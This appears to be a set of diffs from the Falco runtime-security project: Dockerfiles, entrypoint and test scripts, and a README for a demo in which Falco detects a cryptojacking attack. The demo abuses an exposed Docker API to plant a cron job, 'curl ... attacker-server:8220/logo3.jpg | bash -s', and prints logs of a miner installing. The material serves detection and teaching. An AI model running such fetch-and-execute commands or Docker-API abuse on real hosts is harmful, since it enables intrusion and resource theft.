&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb \
&& rm -f *binutils*.deb
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco"]

View File

@@ -1,5 +1,6 @@
#!/usr/bin/env bash
#
# Copyright (C) 2021 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,11 +15,20 @@
# See the License for the specific language governing permissions and
# limitations under the License.
#
- rule: open_from_cat
desc: A process named cat does an open
condition: evt.type=open and proc.name=cat
output: "An open was seen"
priority: WARNING
- rule: open_from_cat
enabled: false
# set -e
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
ln -s "$i" "/usr/src/$i"
done
/usr/bin/falco-probe-loader
fi
exec "$@"

View File

@@ -1,27 +1,16 @@
FROM fedora:31
LABEL name="falcosecurity/falco-tester"
LABEL usage="docker run -v /boot:/boot:ro -v /var/run/docker.sock:/var/run/docker.sock -v $PWD/..:/source -v $PWD/build:/build --name <name> falcosecurity/falco-tester test"
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG TARGETARCH
LABEL usage="docker run -v /boot:/boot:ro -v /var/run/docker.sock:/var/run/docker.sock -v $PWD/..:/source -v $PWD/build:/build -e FALCO_VERSION=<current_falco_version> --name <name> falcosecurity/falco-tester test"
LABEL maintainer="opensource@sysdig.com"
ENV FALCO_VERSION=
ENV BUILD_TYPE=release
RUN if [ "$TARGETARCH" = "amd64" ] ; then curl -L -o grpcurl.tar.gz \
https://github.com/fullstorydev/grpcurl/releases/download/v1.8.6/grpcurl_1.8.6_linux_x86_64.tar.gz; \
else curl -L -o grpcurl.tar.gz \
https://github.com/fullstorydev/grpcurl/releases/download/v1.8.6/grpcurl_1.8.6_linux_arm64.tar.gz; \
fi;
RUN dnf install -y python-pip python docker findutils jq unzip && dnf clean all
RUN dnf install -y python2-pip python2 docker findutils jq unzip && dnf clean all
ENV PATH="/root/.local/bin/:${PATH}"
RUN pip install --user avocado-framework==69.0
RUN pip install --user avocado-framework-plugin-varianter-yaml-to-mux==69.0
RUN pip install --user watchdog==0.10.2
RUN pip install --user pathtools==0.1.2
RUN tar -C /usr/bin -xvf grpcurl.tar.gz
RUN pip2 install --user avocado-framework==69.0
RUN pip2 install --user avocado-framework-plugin-varianter-yaml-to-mux==69.0
COPY ./root /

View File

@@ -1,15 +1,15 @@
FROM ubuntu:18.04
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL maintainer="opensource@sysdig.com"
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
ENV FALCO_VERSION ${FALCO_VERSION}
RUN apt update -y
RUN apt install dkms -y
RUN apt install dkms libyaml-0-2 -y
ADD falco-${FALCO_VERSION}-*.deb /
RUN dpkg -i /falco-${FALCO_VERSION}-$(uname -m).deb
ADD falco-${FALCO_VERSION}-x86_64.deb /
RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
# Change the falco config within the container to enable ISO 8601 output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \

View File

@@ -1,6 +1,6 @@
FROM centos:7
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL maintainer="opensource@sysdig.com"
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
@@ -9,8 +9,8 @@ ENV FALCO_VERSION ${FALCO_VERSION}
RUN yum update -y
RUN yum install epel-release -y
ADD falco-${FALCO_VERSION}-*.rpm /
RUN yum install -y /falco-${FALCO_VERSION}-$(uname -m).rpm
ADD falco-${FALCO_VERSION}-x86_64.rpm /
RUN yum install -y /falco-${FALCO_VERSION}-x86_64.rpm
# Change the falco config within the container to enable ISO 8601 output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \

View File

@@ -1,21 +0,0 @@
FROM ubuntu:18.04
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
ENV FALCO_VERSION ${FALCO_VERSION}
RUN apt update -y
RUN apt install dkms curl -y
ADD falco-${FALCO_VERSION}-*.tar.gz /
RUN cp -R /falco-${FALCO_VERSION}-$(uname -m)/* /
# Change the falco config within the container to enable ISO 8601 output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
COPY rules/*.yaml /rules/
COPY trace_files/*.scap /traces/
CMD ["/usr/bin/falco"]

View File

@@ -1,15 +1,12 @@
#!/usr/bin/env bash
BUILD_DIR=${BUILD_DIR:-/build}
SOURCE_DIR=${SOURCE_DIR:-/source}
SKIP_PACKAGES_TESTS=${SKIP_PACKAGES_TESTS:-false}
set -eu -o pipefail
SOURCE_DIR=/source
BUILD_DIR=/build
CMD=${1:-test}
shift
# Stop the execution if a command in the pipeline has an error, from now on
set -e -u -o pipefail
# build type can be "debug" or "release", fallbacks to "release" by default
BUILD_TYPE=$(echo "$BUILD_TYPE" | tr "[:upper:]" "[:lower:]")
case "$BUILD_TYPE" in
@@ -25,7 +22,7 @@ build_image() {
BUILD_TYPE=$2
FALCO_VERSION=$3
PACKAGE_TYPE=$4
PACKAGE="$BUILD_DIR/$BUILD_TYPE/falco-$FALCO_VERSION-$(uname -m).${PACKAGE_TYPE}"
PACKAGE="$BUILD_DIR/$BUILD_TYPE/falco-$FALCO_VERSION-x86_64.${PACKAGE_TYPE}"
if [ ! -f "$PACKAGE" ]; then
echo "Package not found: ${PACKAGE}." >&2
exit 1
@@ -50,8 +47,7 @@ case "$CMD" in
"test")
if [ -z "$FALCO_VERSION" ]; then
echo "Automatically figuring out Falco version."
FALCO_VERSION_FULL=$("$BUILD_DIR/$BUILD_TYPE/userspace/falco/falco" --version)
FALCO_VERSION=$(echo "$FALCO_VERSION_FULL" | head -n 1 | cut -d' ' -f3 | tr -d '\r')
FALCO_VERSION=$("$BUILD_DIR/$BUILD_TYPE/userspace/falco/falco" --version | cut -d' ' -f3 | tr -d '\r')
echo "Falco version: $FALCO_VERSION"
fi
if [ -z "$FALCO_VERSION" ]; then
@@ -60,11 +56,8 @@ case "$CMD" in
fi
# build docker images
if [ "$SKIP_PACKAGES_TESTS" = false ] ; then
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "deb"
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "rpm"
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "tar.gz"
fi
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "deb"
build_image "$BUILD_DIR" "$BUILD_TYPE" "$FALCO_VERSION" "rpm"
# check that source directory contains Falco
if [ ! -d "$SOURCE_DIR/falco/test" ]; then
@@ -75,14 +68,11 @@ case "$CMD" in
# run tests
echo "Running regression tests ..."
cd "$SOURCE_DIR/falco/test"
SKIP_PACKAGES_TESTS=$SKIP_PACKAGES_TESTS ./run_regression_tests.sh -d "$BUILD_DIR/$BUILD_TYPE"
./run_regression_tests.sh "$BUILD_DIR/$BUILD_TYPE"
# clean docker images
if [ "$SKIP_PACKAGES_TESTS" = false ] ; then
clean_image "deb"
clean_image "rpm"
clean_image "tar.gz"
fi
clean_image "deb"
clean_image "rpm"
;;
"bash")
CMD=/bin/bash

View File

@@ -1,9 +1,9 @@
#!/usr/bin/env bash
pythonversion=$(python -c 'import sys; version=sys.version_info[:3]; print("{0}.{1}.{2}".format(*version))')
pipversion=$(pip --version | cut -d' ' -f 1,2,5,6)
pythonversion=$(python2 -c 'import sys; version=sys.version_info[:3]; print("{0}.{1}.{2}".format(*version))')
pipversion=$(pip2 --version | cut -d' ' -f 1,2,5,6)
dockerversion=$(docker --version)
avocadoversion=$(pip show avocado-framework | grep Version)
avocadoversion=$(pip2 show avocado-framework | grep Version)
avocadoversion=${avocadoversion#"Version: "}
cat <<EOF
@@ -30,7 +30,7 @@ How to use.
How to build.
* cd docker/tester && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-tester .
* cd docker/builder && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-tester .
Environment.

View File

@@ -1,45 +0,0 @@
ARG UBI_VERSION=latest
FROM registry.access.redhat.com/ubi8/ubi:${UBI_VERSION}
ARG FALCO_VERSION
RUN test -n "$FALCO_VERSION" || (echo "FALCO_VERSION not set" && false)
ENV FALCO_VERSION=${FALCO_VERSION}
LABEL "name"="Falco Runtime Security"
LABEL "vendor"="Falco"
LABEL "version"="${FALCO_VERSION}"
LABEL "release"="${FALCO_VERSION}"
LABEL "ubi-version"="${UBI_VERSION}"
LABEL "summary"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
LABEL "description"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
LABEL "io.k8s.display-name"="Falco"
LABEL "io.k8s.description"="Falco is a security policy engine that monitors system calls and cloud events, and fires alerts when security policies are violated."
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
RUN dnf -y update && \
dnf -y install \
curl \
make \
cmake \
gcc \
llvm-toolset \
clang \
kmod \
&& dnf -y clean all ; rm -rf /var/cache/{dnf,yum}
RUN mkdir /build && cd /build/ && curl --remote-name-all -L https://github.com/dell/dkms/archive/refs/tags/v3.0.3.tar.gz && \
tar xvf v3.0.3.tar.gz && cd dkms-3.0.3 && make install-redhat && rm -rf /build
RUN mkdir /deploy && cd /deploy/ && curl --remote-name-all -L https://download.falco.org/packages/bin/$(uname -m)/falco-${FALCO_VERSION}-$(uname -m).tar.gz && \
cd / && tar --strip-components=1 -xvf /deploy/falco-${FALCO_VERSION}-$(uname -m).tar.gz && \
rm -rf /deploy
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco"]

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@@ -1,39 +0,0 @@
#!/bin/bash
#
# Copyright (C) 2022 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
# Required by dkms to find the required dependencies on RedHat UBI
rm -fr /usr/src/kernels/ && rm -fr /usr/src/debug/
rm -fr /lib/modules && ln -s $HOST_ROOT/lib/modules /lib/modules
rm -fr /boot && ln -s $HOST_ROOT/boot /boot
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
base=$(basename "$i")
ln -s "$i" "/usr/src/$base"
done
/usr/bin/falco-driver-loader
fi
exec "$@"

2
examples/OWNERS Normal file
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labels:
- area/examples

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# Demo of Falco Detecting Cryptomining Exploit
## Introduction
Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Falco.
Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
## Requirements
In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
## Example architecture
The example consists of the following:
* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
A separate container is created to launch the attack:
* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
## Example Walkthrough
### Start everything using docker-compose
To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
You will see fairly verbose output from dockerd:
```
host-machine_1 | crond: crond (busybox 1.27.2) started, log level 6
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
```
When you see log output like the following, you know that falco is started and ready:
```
falco_1 | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
```
### Launch malicious container
To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
The script `launch_malicious_container.sh` performs the necessary POSTs:
* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
* `http://localhost:2375/containers/create?&name=docker123321-mysql`
* `http://localhost:2375/containers/docker123321-mysql/start`
Run the script via `bash launch_malicious_container.sh`.
### Examine cron output as malicious software is installed & run
`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
```
* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
```
It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg)) from `attacker-server` and run it.
You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
68ed578bd034 alpine:latest "/bin/sh -c 'echo '*…" About a minute ago Up About a minute docker123321-mysql
```
Once the cron job runs, you will see output like the following:
```
host-machine_1 | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
host-machine_1 | ***Checking for existing Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
host-machine_1 | ***Killing competing Miner programs
host-machine_1 | ***Reinstalling cron job to run Miner program
host-machine_1 | ***Configuring Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
host-machine_1 | ***Configuring system for Miner program
host-machine_1 | vm.nr_hugepages = 9
host-machine_1 | ***Running Miner program
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
```
### Observe Falco detecting malicious activity
To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
```
falco_1 | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
falco_1 | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
```
### Cleanup
To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

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server {
listen 8220;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}

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